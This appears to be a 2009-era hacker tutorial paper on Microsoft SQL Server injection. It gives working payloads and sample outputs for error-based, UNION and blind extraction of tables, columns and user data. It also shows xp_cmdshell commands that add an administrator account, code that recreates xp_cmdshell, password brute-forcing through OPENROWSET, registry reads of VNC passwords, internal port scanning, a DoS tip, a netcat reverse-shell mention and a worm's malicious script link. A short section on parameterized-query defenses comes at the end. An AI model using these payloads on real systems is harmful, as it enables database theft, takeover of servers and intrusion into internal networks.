In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their application meanwhile
it is valuable for many attackers, as seeing in previous section.
In this section, we provide another method of utilizing from MSSQL error through a command called "convert".
convert command is used to convert between two data type and when the specific data cannot convert to another type,
this command will return error. let see through an example:
In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007
22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
We can know the Database name = "cwhdb", Next is query for get current user that run DB.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended
stored procedure "XP_CMDSHELL" to run arbitrary command executes.
In next example, we show you how to obtain table names, column names and data.
"information_schema.tables" stores information about tables in databases and there is a field called "table_name"
which stores names of each table. The result of this request is something like this:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type, the error is returned.
Therefore, we know the first table = "threads", from this error. The next step is looking for the second table.
We only put WHERE clause append the query in above request.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
Again, we know the second table = "users", from the error. If we want another table, we just append our known table list. for example,
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
This means the third table = "forums". On the other hand, if the previous request return something like this.
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10
------------------------------------------------------------------------------------
It means this database consists of only two tables, threads and users.
OK, now, we already get all tables. The next target is column names.
The method to retrieve column names is not much different from getting table names.
We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name"
but we have to add "table_name" in WHERE cluase in order to specify the table which we will pull column names from.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname".
For another column name, we add a bit in WHERE clause.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
Absolutely we know the second column = "upass", of table 'users'. For getting more column names,
we only append a known table list like that in getting table names. For example,
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------
So, the third column is "email". but if the error is
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10
------------------------------------------------------------------------------------
This means no more column left. Next is the real target which attackers want, the data.
If take a look carefully, we will see that the idea is not different from getting table and column.
Use the same manner but change only table and column name.
If we want uname data in table users, we can do like this:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname,
we just create a known table list as table and column.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------
OK, we get another "uname" which is 'cwh'. If we try following request.
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10
------------------------------------------------------------------------------------
It means there are only two uname in users table (admin,cwh).
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise.
In such systems, there is often a machine-readable description of the operations offered by the service written in the
Web Services Description Language (WSDL).
SOAP is often used in large-scale enterprise applications where individual tasks are performed by different computers to
improve performance. It's often found where web application that deployed as a front-end to an existing application.
Can you see username(admin) and password(1234) that send to Server side ?
What's happen if we injection (') single quote to username field like this: <username>admin'</username><password>1234</password>
before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP respond.
[SOAP Respond When we inject single quote]--------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 26 Jan 2009 15:45:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1057
Connection: close
X-Junk: xxxxxxxxxxx
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.
Incorrect syntax near '81'.
at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
at System.Data.OleDb.OleDbDataReader.NextResult()
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin''
AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate></GetUserInfoResult>
</GetUserInfoResponse></soap:Body></soap:Envelope>
Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you
in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi:
*** Response ***
HTTP/1.1 200 OK
Date: Wed, 28 Jan 2009 15:59:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1266
Connection: close
X-Junk: xxxxxxxxxxx
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
Feb 9 2007 22:47:07
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
' to data type int.
at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
at System.Data.OleDb.OleDbDataReader.NextResult()
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin'
and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate>
</GetUserInfoResult></GetUserInfoResponse></soap:Body></soap:Envelope>
W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).
Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).
++++++++++++++++++++++++++++++++++++++++++++++
[0x02c] - MSSQL Injection with UNION Attack
++++++++++++++++++++++++++++++++++++++++++++++
This method differs from the both previous methods because we do not get information through error
but we, instead, see it in some point of returned page.
First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause.
http://www.example.com/page.asp?id=1 order by 1--
http://www.example.com/page.asp?id=1 order by 2--
http://www.example.com/page.asp?id=1 order by 3--
http://www.example.com/page.asp?id=1 order by 4--
and so on
We observe a result from each request until we get error like this.
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e14'
The ORDER BY position number 5 is out of range of the number of items in the select list.
/showthread.asp, line 9
------------------------------------------------------------------------------------
This means this page select four columns from table and this error occurs when we request http://www.example.com/page.asp?id=1 order by 5--
Now, we use UNION operator to gain information.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,44--
[End SQLi]--------------------------------------------------------------------------
We will see "11" or "22" or "33" or "44" appeared on some point in returned page. We assume that
we have already located the position which "44" occur on the screen.
(We should remember this position because it is where our information will be appeared)
As we found "44" on the screen, we replace "44" with "@@version" in order to find the version of MSSQL.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,@@version--
[End SQLi]--------------------------------------------------------------------------
We will see version of MSSQL appeared in the position which "44" occurred.
At this point, we know that next information definitely takes place in this position.
The rest are to find table names, column names and data. As we see in previous section,
we can obtain table names and column names through "information_schema" database.
We still use the same way in this approach.
[SQli]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables--
[End SQLi]--------------------------------------------------------------------------
We will see the first table on the screen. We assume it is table called 'threads'. We can find next table by following request.
[SQli]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where table_name not in ('threads')--
[End SQLi]--------------------------------------------------------------------------
We assume the retrieved table is 'users'. So, we append a known table list until we get blank in position which "44" occurred.
After we get all table names that we want, we move to gather column names.
[SQli]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users'--
[End SQLi]--------------------------------------------------------------------------
From this request, we will see the first column in table 'users'. We assume it is 'uname'. For another column, we can use following request.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users' and
column_name not in ('uname')--
[End SQLi]--------------------------------------------------------------------------
We get the second column which is 'upass' and we continue appending a known column list until we get blank result.
The most wanted information is data. It is quite simple after we obtained table names and column names. We just use following request.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users--
[End SQLi]--------------------------------------------------------------------------
We will get data such as admin from the request. In order to get another row, we only append information list as following.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname not in ('admin')--
[End SQLi]--------------------------------------------------------------------------
In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.
The important point for blind sql injection is the difference between the valid and invalid query result.
You have to inject a statement to make query valid or invalid and observe the response.
Just because you don't see any results, doesn't mean that your injected SQL is not being executed !!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03a] - How to Test sites that are vulnerable in Blind SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.
You can try to inject a statement like this
http://www.example.com/page.asp?id=1 and 1=1
and
http://www.example.com/page.asp?id=1 and 1=2
If the results from these requests are different, it will be a good signal for you.
This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1",
it means that the condition is true so, the response must be normal.
But the parameter "id=1 and 1=2" indicates that the condition is false
and if the webmaster does not provide a proper filter, the response absolutely differs from previous.
++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03b] - Determine data through Blind SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++
By using blind technique, you have to spend more time than normal injection.
You can obtain only one character while you send several queries to server.
We will give you an example of querying the first character of database name.
We assume that database name is member. Therefore, the first character is "m"
which the ascii value is 109. (At this point, we assume that you know ascii code)
Ok, first, we have to know that the results from requests have only 2 forms.
1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1
2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2
The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test query.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1
(because the first character of database name is "m" which ascii code is 109). Then, we try
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120).
next, we try
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
The result is a valid query result and at this point, the ascii value of first character of database name is between 105 and 120.
So, we try
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
You see that the first character of database name has an ascii value which is greater than 108
but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.
You can prove with:
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109 .
We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .
The rest which you have to do is to manipulate some queries to collect your preferred information.
In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.
++++++++++++++++++++++++++++++++++++++++++++
[0x03c] - Exploit query for get Table name
++++++++++++++++++++++++++++++++++++++++++++
In order to get table name, we can use above method to obtain each character of table name.
The only thing that we have to do is to change query to retrieve table name of current database.
As MSSQL does not have limit command. Therefore, the query is a bit complicate.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
The above query is used to determine the first character of first table in current database. If we want to find second character of first table,
we can do by following request:
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97
We change the second parameter of substring function from 1 to 2 in order to specify preferred position of character in table name.
Thus, if we want to determine other positions, we require only changing second parameter of substring function.
In case of other tables, we can find other table names by changing the second select
from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)=97
The above request will determine the first character of the second table name in current database.
+++++++++++++++++++++++++++++++++++++++++++++
[0x03d] - Exploit query for get Column name
+++++++++++++++++++++++++++++++++++++++++++++
After we obtain table names, the next target information is absolutely column names.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
In order to circumvent from magic quote filtering, you have to change 'tablename'
to be the form of concatenating char() command. for example, if table name is 'user',
when we put 'user' in the query, ' may be filtered and our query will be wrong.
The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114).
So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".
In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the first column name of specific table.
When we want to find the second character of the first column, we can use the same method as getting table name, by changing the second parameter of
substring function.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
The above request is used to determine the second character of the first column name in specific table.
In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
The first character of the second column name in specific table can be determined by the above request.
##############################################
[0x04] - More Dangerous SQL Injection Attack
##############################################
In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database
via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind injection.
This chapter will not show only an data extraction but command execution and sql worms as well.
+++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x04a] - Dangerous from Extended Stored Procedures
+++++++++++++++++++++++++++++++++++++++++++++++++++++
xp_cmdshell - Executes a given command on the MSSQL Operation system
- Available by default on all MSSQL (Disabled on MSSQL 2005)
- Can only be executed by 'sa' and any other users with 'sysadmin' privileges
xp_regxxx - Read/Write registry keys, potentially including the Read SAM file
[Example for determines what null-session shares are available on the server]
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'
xp_availablemedia - Reveals the available drives on the machine
xp_dirtree - Allows a directory tree to be obtained
xp_enumdsn - Enumerates ODBC data sources on the server
xp_makecab - Allows the user to create a compressed archive of files on the server
xp_ntsec_enumdomains - Enumerates domains that the server can access
xp_terminate_process - Terminate a process (PID)
xp_loginconfig - Login mode
"xp_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is currently running.
By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
EXEC master.dbo.xp_cmdshell 'net user cwh cwh1234 /add' ;-- //Use for add user "cwh" into system.
EXEC master.dbo.xp_cmdshell 'net localgroup administrators cwh /add' ;-- //Use for escalating privilege "cwh" to admin group
Example through SQL injection in a numeric field via a GET request:
http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'
On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
This creates a new stored procedure 'xp_anyname' linked to xp_log70.dll, which provides the xp_cmdshell functionality.
If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
** Tip **
[Question]
Determined that the web application connects to the DB with unprivileged account.
So we can't execute XP_CMDSHELL or access any interesting data ?
[Answer]
It's not the end, First we must enumerate MSSQL user accounts that have system administrator privileges.
[Code]--------------------------------------------------------------------------------------
http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins where name not in ('sa') and sysadmin=1;--
[End Code]----------------------------------------------------------------------------------
[Result]------------------------------------------------------------------------------------
sa
cwh
example
[End Result]--------------------------------------------------------------------------------
We can use "OPENROWSET" to re-connect to the same database server under each enumerated
sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing through the SQL injection:
[Code]--------------------------------------------------------------------------------------
http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','server=VICTIMDBNAME;uid=$USER;pwd=$PASS','select * from master..sysusers')--
[End Code]----------------------------------------------------------------------------------
//Result: Found that "CWH" has a "1234"
Leveraged the "OPENDATASOURCE" function to execute a stored procedure on the database, under the "CWH" system administrator credentials:
//Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network.
= How about Upload of executables ? =
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server.
A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine,
all that is needed is to inject the following queries:
= How about Retrieving VNC Password from Registry ? =
'; declare @out binary(8)
exec master..xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\ORL\WinVNC3\Default',
@value_name='password',
@value = @out output
select cast (@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from temp)--
= How about Port Scanning ? =
We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet
[Code]--------------------------------------------------------------------------------------
http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5',
'select * from table')--
[End Code]----------------------------------------------------------------------------------
This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5 seconds)
in parameter will be consumed and display error message:
"SQL Server does not exist or access denied"
If port is open, the timeout would not be consumed and error messages will returned:
"General network error. Check your network documentation"
or
"OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."
This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t !!)
** Note **
This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and change timeout too high (500).
It's make many connections to target over FTP service (port 21)
++++++++++++++++++++++++++++++++++++++
[0x04c] - Mass MSSQL Injection Worms
++++++++++++++++++++++++++++++++++++++
Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult to clean,
even with the most robust database backup and recovery scheme. This attack is conducted with the help of an Internet robotalso
known as malbotwhich attacks its prospects daily. It is likely that such a malbot fires the series of injection attempts continuously
and conditionally until the malicious script references are sensed on the targeted web pages. There is nothing new in the way that
the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.
What happens as a result? It finds all text fields in the database and adds a link to malicious javascript
<script src="http://www.fengnima.cn/k.js"></script> to each and every one of them which will make your website display them automatically.
So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as
an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code.
Main cause of SQL injection vulnerability is input validation. Many web developers do not provide
proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access
to many databases. There are solutions to prevent SQL injection vulnerability.
- Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid input
- Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input field,
these may cause SQL injection vulnerability
- Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharaters.
- Don't ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only query string but also headers,
cookies and form fields as well
- Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection.
This mechanism is called "Parameterized Queries".
The following two code samples illustrate the difference between an unsafe query dynamically constructed out of
user data, and its safe parameterized counterpart.
In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the
application vulnerable to SQL injection:
//define the query structure
string queryText = "select ename,sak from emp where ename ='";
//concatenate the user-supplied name
queryText += request.getParameter("name");
queryText += "'";
//execute the query
stmt = con.createStatement();
rs = stmt.executeQuery(queryText);
In the second example, the query structure is defined using a question mark as a placeholder
for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure
of the query that is to be executed. Only then is the setString method used to specify the actual value of
the parameter. Because the query's structure has already been fixed, this value can contain any data at all,
without affecting the structure. The query is then executed safely:
//define the query structure
String queryText = "select ename,sal from emp where ename = ?";
//prepare the statement through DB connection "con"
stmt = con.prepareStatement(queryText);
//add the user input to variable 1 (at the first ? placeholder)
stmt.setSting(1, request.getParameter("name"));
[1] Error based SQL injection - a true story: AnalyseR
[2] Advanced SQL Injection In SQL Server Applications: Chris Anley
[3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino
[4] http://pentestmonkey.net
[5] http://www.owasp.org
[6] http://www.milw0rm.com
####################
[0x08] - Greetz To
####################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
----------------------------------------------------
This paper is written for Educational purpose only. The authors are not responsible for any damage
originating from using this paper in wrong objective. If you want to use this knowledge with other person systems,
you must request for consent from system owner before
----------------------------------------------------